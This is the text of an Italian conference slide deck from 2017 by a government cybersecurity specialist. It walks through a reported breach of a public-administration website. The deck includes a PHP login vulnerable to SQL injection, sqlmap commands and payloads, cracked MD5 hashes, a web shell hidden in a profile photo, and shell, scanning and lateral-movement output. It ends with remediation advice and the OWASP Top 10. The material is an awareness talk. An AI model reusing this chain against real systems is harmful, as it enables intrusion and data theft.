(in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

41
(in)Sicurezza nella PA Il Piano Triennale: verso il sistema operativo del paese Roma, 05/07/2017 Gianluca Varisco

Transcript of (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

(in)Sicurezza nella PA

Il Piano Triennale: verso il sistema operativo del paese Roma, 05/07/2017

Gianluca Varisco

• La storia di uno dei tanti problemi di sicurezza scoperti e segnalati

• Esempi pratici di vulnerabilità in applicativi web

• Cosa ci riserva il futuro

Agenda

La storia di uno dei tanti problemi di sicurezza scoperti e segnalati

SQLi (SQL injection)

È una tecnica di code injection molto comune con la quale vengono inserite delle stringhe di codice SQL malevole all’interno dei campi di input, es. form web

Due metodologie di difesa: • Approccio blacklist: ho una lista di caratteri non permessi. • Approccio whitelist: ho una lista di caratteri permessi.

SQLi (SQL injection)Esempio di SQLi:

$username=$_POST[‘username']; $password=$_POST['password']; $query="select username,password from users where username='$username' and password='$password' limit 1"; $result=mysql_query($query); $rows = mysql_fetch_array($result); if($rows) { echo “Log-in OK" ; create_session(); }…

SQLi (SQL injection)

Source: XKCD

Typo3 e raccolta informazioni• Abbiamo identificato il CMS in utilizzo da questo sito web: Typo3 • Una sezione del sito consente di gestire i dati del proprio profilo e di caricare

alcune informazioni legate alla propria amministrazione (form web) • Abbiamo letto la documentazione ufficiale, che riporta quanto segue:

SQLmapsqlmap -u “https://www.ammcentrale.it/jupiter/fileadmin/form/selLoc.php.inc?id=180" -v 2 -D jupiter —tables

Parameter: id (GET)

Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=180 AND 2280=2280 Vector: AND [INFERENCE]

Type: AND/OR time-based blind Payload: id=180 AND (SELECT * FROM (SELECT(SLEEP(5)))ueEI) Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

SQLi[16:46:30] [INFO] the back-end DBMS is MySQL web server operating system: Linux CentOS 6.5 web application technology: PHP 5.3.3, Apache 2.2.15 back-end DBMS: MySQL 5.0.12 [16:46:30] [INFO] fetching tables for database: 'jupiter' [16:46:30] [DEBUG] performed 0 queries in 0.01 seconds Database: jupiter [86 tables] +————————————————————+ | be_users | | […] | | fe_users | | […] | +————————————————————+

Hash crackingSELECT * from be_users; typoadmin,772bea9734a585d1a438ac2f7ee42b62, admin00,772bea9734a585d1a438ac2f7ee42b62, adminusr,772bea9734a585d1a438ac2f7ee42b62, “Cracking” (via hashes.org API o interfaccia web):

{"REQUEST":"FOUND",“772bea9734a585d1a438ac2f7ee42b62" {“plain”:"iniziale","algorithm":"MD5"}}

Una volta ottenute le credenziali utente, accediamo alla sezione “gestione profilo” e provvediamo a caricare la nostra foto profilo. Tale foto, in realtà, contiene al suo interno del codice malevole PHP, con cui potremo eseguire comandi arbitrari sulla macchina target:

$ wget -nv https://www.ammcentrale.it/jupiter/filetest.php —post-data=“hello=id" -O - | tee -a log.txt

(Web) Shell access

Output (id):Array ( [0] => uid=48(apache) gid=48(apache) groups=48(apache) )

(Web) Shell access

Output (uname -a):Array ( [0] => Linux web1 2.6.32-573.7.1.el6.x86_64 #1 SMP Tue Sep 22 22:00:00 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux )

Local Privilege Escalation

Output (ls): Array ( [1] => -rw-r--r-- 1 root root 9241849 Jul 23 2015 WebServices_preupgrade20150723.tgz [2] => -rw-r--r-- 1 root root 68864 Jun 24 2014 jupiter-20140623.tar.gz [3] => -rw-r--r-- 1 root root 5463 Jun 24 2014 jupiter-api-20140528.tar.gz [4] => -rw-r--r--. 1 root root 58896845 Jun 18 2013 jupiter_0618_h12_net.tar.gz [5] => -rw-r--r--. 1 root root 91788467 Jun 18 2013 jupiter_old_0613.tar.gz [6] => -rw-r--r-- 1 root root 138718390 Jul 24 2015 jupiter_preupgrade20150724.tgz [7] => -rw-r--r-- 1 apache apache 48765633 Jul 25 2015 jupiter_aziende_pre_prod20150725.tgz [8] => -rw-r--r-- 1 root root 35513876 Jul 23 2015 jupiter_public_preupgrade20150723.tgz [9] => -rw-r--r--. 1 root root 12035 Jun 18 2013 parametri.tar.gz [10] => drwxr-xr-x. 8 root root 4096 Feb 11 17:37 www )

Data Exfiltration

Array ( [0] => total 64 [1] => drwxr-xr-x. 2 root root 4096 Jun 30 2015 . [2] => drwxr-xr-x 7 root root 4096 Nov 24 10:32 .. [3] => -rw-r--r-- 1 root root 1751 Apr 12 2014 jupiter2014.key [4] => -rw-r--r-- 1 root root 1102 Apr 12 2014 jupiter2014req.csr [5] => -rw-r--r-- 1 root root 1874 Jun 16 2015 jupiter2015.crt [6] => -rw-r--r-- 1 root root 1704 Jun 25 2015 jupiter2015.key [7] => -rw-r--r-- 1 root root 1151 Jun 8 2015 jupiter2015req.csr [8] => -rw-r--r-- 1 root root 1704 Jun 8 2015 private.key [9] => -rw-r--r--. 1 root root 1213 Jun 10 2013 verisign.crt )

Data Exfiltration

Output (ifconfig): Array ( [0] => eth0 Link encap:Ethernet HWaddr 00:0C:29:5B:9D:E4 [1] => inet addr:192.168.6.112 Bcast:192.168.6.255 Mask:255.255.255.0 [2] => [.....] [..] [9] => eth1 Link encap:Ethernet HWaddr 00:0C:29:5B:9D:EE [10] => inet addr:172.16.113.1 Bcast:172.16.113.255 Mask:255.255.255.0 [2] => [.....] [...] )

Lateral Movement

Output (arp scan): Array ( [0] => ? (192.168.6.115) at 00:50:56:8e:61:af [ether] on eth0 [1] => ? (192.168.6.1) at 00:1c:7f:3a:9c:0b [ether] on eth0 [2] => ? (192.168.6.2) at 00:1c:7f:3a:9c:0b [ether] on eth0 [3] => ? (172.16.113.2) at 00:0c:29:27:90:ba [ether] on eth1 [4] => ? (192.168.6.140) at 00:23:e9:7d:87:c5 [ether] on eth0 [5] => ? (192.168.6.83) at 00:50:56:8e:61:af [ether] on eth0 [6] => ? (192.168.6.3) at 00:1c:7f:3a:a2:73 [ether] on eth0 [….] )

Lateral Movement

Output (nmap): Array ( [0] => [1] => Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2017-04-01 15:33 CEST [2] => Initiating Ping Scan at 15:33 [3] => Scanning XXX hosts [2 ports/host]

Lateral Movement

• Vulnerabilità (SQLi) nell’applicazione web • Utilizzo di MD5 come funzione di hash crittografica • Utilizzo di password deboli • Sistema contenente informazioni sensibili al suo interno

(es. backup e chiavi private SSH, anche di altre macchine) • Assenza di segmentazione della rete • Mancato aggiornamento dei sistemi (no patch di sicurezza)

e versioni CMS presenti all’interno della rete obsolete

Cosa è andato storto?

• Sanitizzazione input • Utilizzo di funzioni di hash più sicure: bcrypt/scrypt • Utilizzo di salt (previene attacchi bruteforce tramite rainbow tables) • Password policy adeguate (NIST Special Publication 800-63B - Digital

Identity Guidelines), 2-Factor Authentication • Cifratura backup locali e off-site backup • Logging/Auditing eventi • Aggiornamenti costanti CMS • Segmentazione adeguata della rete che riduca al minimo il

movimento laterale su altri sistemi

Cosa avrebbero dovuto fare?

Altre situazioni comuni

Ancora oggi, ci troviamo ad avere migliaia di sistemi esposti su internet vulnerabili a CVE-2014-0160

Heartbleed

Source: Shodan

Session hijacking:

Heartbleed

• Versioni non aggiornate • Plug-in non aggiornati • Fork artigianali (™) non aggiornati

• PoC ed exploit (+ metasploit scanner[s]) facilmente reperibili

CMS

Password leak

Password leak

Source: WpEngine Unmasked

Password policy troppo rigida?

Source: WpEngine Unmasked

• Moltissimi, anche tra voi in questa stanza, si affidano sempre alle stesse password. Le usano ovunque.

• Utilizzate password manager (1Password, Lastpass, Keepass, etc.)

• Utilizzate password univoche per ogni servizio • Abilitate autenticazione a due fattori (2FA) ove disponibile

• Mancata rotazione delle password negli applicativi web • Salvataggio delle password all’interno dei database in chiaro o

con algoritmi di hash insicuri (MD5, SHA-1 unsalted, etc.)

Problemi legati ai leak di pw

• Tanti dei nostri dati vengono periodicamente esposti in maniera scorretta su internet. • Database NoSQL senza livelli di autenticazione • Backend amministrativi vulnerabili (es. SQLi) o misconfigurati

(&& no HTTPS…) • Backend amministrativi PRIVI di autenticazione (o “factory

credentials”) • Ambienti di storage (eg. NAS) vulnerabili e non aggiornati • Volumi (Object-Storage) misconfigurati (ACL) all’interno di

ambienti cloud pubblici e privati

Data leakage

Il futuro (?)

Vettori di attacco:

• Malware / Ransomware • Vulnerabilità su dispositivi

IoT • Vulnerabilità su ICS/Scada • Targeted Spear Phishing

Il futuro (?)

Settori maggiormente colpiti:

• Sanità • Automotive • Impianti Industriali • Infrastrutture critiche

Ransomware (e Wiper)

IoT

The “S” in “IoT” stands for Security

ICS/Scada

• Sistemi di controllo industriali spesso: • esposti su internet per facilitarne l’accesso da remoto (es. per ricevere

assistenza tecnica) • privi di qualsiasi livello di autenticazione e non sviluppati per stare su

internet • Nota: non tutti parlano TCP/IP e possono seguire le regole tradizionali

Automotive

Piano Triennale

• Capitolo 8: Sicurezza • Misure minime di

sicurezza ICT • Infosharing CERT-PA

Piano Triennale

• A1 - Injection • A2 - Broken Authentication and Session

Management • A3 - Cross-Site Scripting (XSS) • A4 - Broken Access Control • A5 - Security Misconfiguration • A6 - Sensitive Data Exposure • A7 - Insufficient Attack Protection • A8 - Cross-Site Request Forgery (CSRF) • A9 - Using Components with Known

Vulnerabilities • A10 - Underprotected APIs—

OWASP TOP 102017 (RC1)

Gianluca Varisco • Email: [email protected] • Twitter: @gvarisco • Medium: @gvarisco

Sito Web: https://teamdigitale.governo.it

Contatti

• Pawel Zorzan Urban • Shodan.IO • Censys.IO

Credits